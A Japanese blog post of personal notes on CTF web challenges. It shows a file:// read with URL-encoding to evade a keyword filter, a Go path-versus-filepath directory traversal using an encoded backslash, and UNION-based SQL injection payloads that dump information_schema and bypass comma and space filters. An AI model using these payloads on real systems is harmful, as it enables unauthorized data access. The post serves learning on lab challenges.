この記事は
解けなかった問題や違う解法を自分用に残しておくものです。writeupは他の方のをぜひご覧ください。
参考先
Single Page HTML Viewer 2
テキストフィールドにurlを入力して/flagファイルの中身を見る問題です。flagという文字を入力は弾かれます。別途サーバ立ち上げてなんか描画させるのかと思ってましたが違うようです。
さらに予想として,burpでクエリにファイルパスを入れればフロント側のフィルタを回避できるかと思ったのですが、サーバサイドでもflagという文字を弾いている模様。最終的にurlエンコードしたfile:///%66%6c%61%67をinputフィールドに入れればok。またリクエスト時にurlエンコードがさらにかかるようなので、burpでfile%3A%2F%2F%2F%2566%256c%2561%2567を投げても良い。
Go Mikuji
このページの一番下に紹介されています。物理ファイルの操作にpath/filepathではなくpathを使うとディレクトリトラバーサルができるようになる。
mattn.kaoriya.net
// 主要部 http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { name := filepath.FromSlash(filepath.Join(cwd, "public", path.Base(r.URL.Path))) path := strings.Replace(name, "\\", "/", -1) f, err := os.Open(path) ... ... http.HandleFunc("/public/omikuji", func(w ht...
app % tree .
.
├── flag.txt
├── main.go
└── public
└── index.html
https://awebc19.archiso.dev/problems/go_mikuji/omikuji //
↓
https://awebc19.archiso.dev/problems/go_mikuji/..%5cflag.txt
バックスラッシュは%5cで入力。これで発火してpublic/../flag.txtを表示します。
Dolls Data 2 & 3
1は普通のunion selectでした。
' and 0 UNION SELECT table_name,column_name,3,4,5,6,7,8,9,10,11 FROM information_schema.columns;--
2ではコロンを入力できなくなっているので、joinでつなぐようです。
' and 0 UNION SELECT * FROM (SELECT table_name FROM information_schema.columns)a JOIN(SELECT 2)b JOIN(SELECT 3)c JOIN(SELECT 4)d JOIN(SELECT 5)e JOIN(SELECT 6)f JOIN(SELECT 7)g JOIN(SELECT 8)h JOIN(SELECT 9)i JOIN(SELECT 10)j JOIN(SELECT 11)k; --
一度に全てのテーブルとカラムを取得するにはこれ。
' and 0 UNION SELECT * FROM (SELECT table_name FROM information_schema.columns)a JOIN(SELECT column_name FROM information_schema.columns)b JOIN(SELECT 3)c JOIN(SELECT 4)d JOIN(SELECT 5)e JOIN(SELECT 6)f JOIN(SELECT 7)g JOIN(SELECT 8)h JOIN(SELECT 9)i JOIN(SELECT 10)j JOIN(SELECT 11)k; --
3では空白とハイフンが消される模様。今までハイフンつけてたけれど、;だけで良さそう?2の解法の空白を/**/に全て置き換えれば通るそうです。
今回どこがエスケープされるようになったかは、レスポンスに含まれるinputパラメータを見て、入力と比較して消されている文字を探せば見つかりました。